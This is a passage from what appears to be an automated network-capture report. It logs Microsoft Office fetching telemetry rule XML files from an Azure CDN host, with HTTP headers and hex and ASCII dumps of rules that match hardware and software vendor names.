T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.4	49799	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 08:45:12 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 08:45:13 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:45:13 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: fac497c4-501e-008f-4391-3f9054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T084513Z-174f7845968kvnqxhC1EWRmf3g0000000mxg000000008bdu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 08:45:13 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.4	49798	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 08:45:12 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 08:45:13 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:45:13 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: 5810d2d2-301e-0000-6891-3feecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T084513Z-174f7845968xr5c2hC1EWRd0hn0000000hy000000000agws x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 08:45:13 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.4	49801	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 08:45:15 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 08:45:15 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:45:15 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 8bf79252-001e-0028-5c50-41c49f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T084515Z-174f7845968px8v7hC1EWR08ng00000011c0000000008qvg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 08:45:15 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.4	49804	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 08:45:15 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 08:45:15 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:45:15 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: 203bed18-201e-006e-51a9-42bbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T084515Z-174f78459684db9fhC1EWRc7g4000000012g00000000ak3k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 08:45:15 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.4	49803	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 08:45:15 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 08:45:15 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:45:15 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: 490736a9-701e-0097-7e01-42b8c1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T084515Z-174f7845968pf68xhC1EWRr4h800000011b0000000008wb7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 08:45:15 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.4	49802	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 08:45:15 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 08:45:15 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:45:15 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: e52ede4a-001e-0017-0591-3f0c3c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T084515Z-174f7845968nxc96hC1EWRspw800000010y0000000004sq5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 08:45:15 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.4	49805	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 08:45:15 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 08:45:15 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:45:15 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: 4edae9bd-001e-0017-14b4-420c3c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T084515Z-174f7845968n2hr8hC1EWR9cag00000010qg00000000b2m5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 08:45:15 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.4	49806	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 08:45:17 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 08:45:18 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:45:17 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: b8a9d872-301e-003f-6bb3-42266f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T084517Z-174f78459684db9fhC1EWRc7g40000000150000000006kfh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 08:45:18 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.4	49807	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 08:45:17 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 08:45:17 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:45:17 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: fdf69e8b-201e-000c-4300-4279c4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T084517Z-174f7845968glpgnhC1EWR7uec0000001180000000009xwk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 08:45:17 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.4	49809	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 08:45:17 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 08:45:17 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:45:17 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 5cf18591-601e-000d-7e91-3f2618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T084517Z-174f7845968jrjrxhC1EWRmmrs00000011a00000000052mg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 08:45:17 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.4	49808	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 08:45:17 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 08:45:17 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:45:17 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: e14f358b-d01e-007a-5d7e-3ff38c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T084517Z-174f7845968n2hr8hC1EWR9cag00000010tg000000006y9h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 08:45:17 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.4	49810	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 08:45:17 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 08:45:18 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:45:17 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: 3fc8ca9f-401e-0083-6c91-3f075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T084517Z-174f7845968kvnqxhC1EWRmf3g0000000mw000000000aa7y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 08:45:18 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" 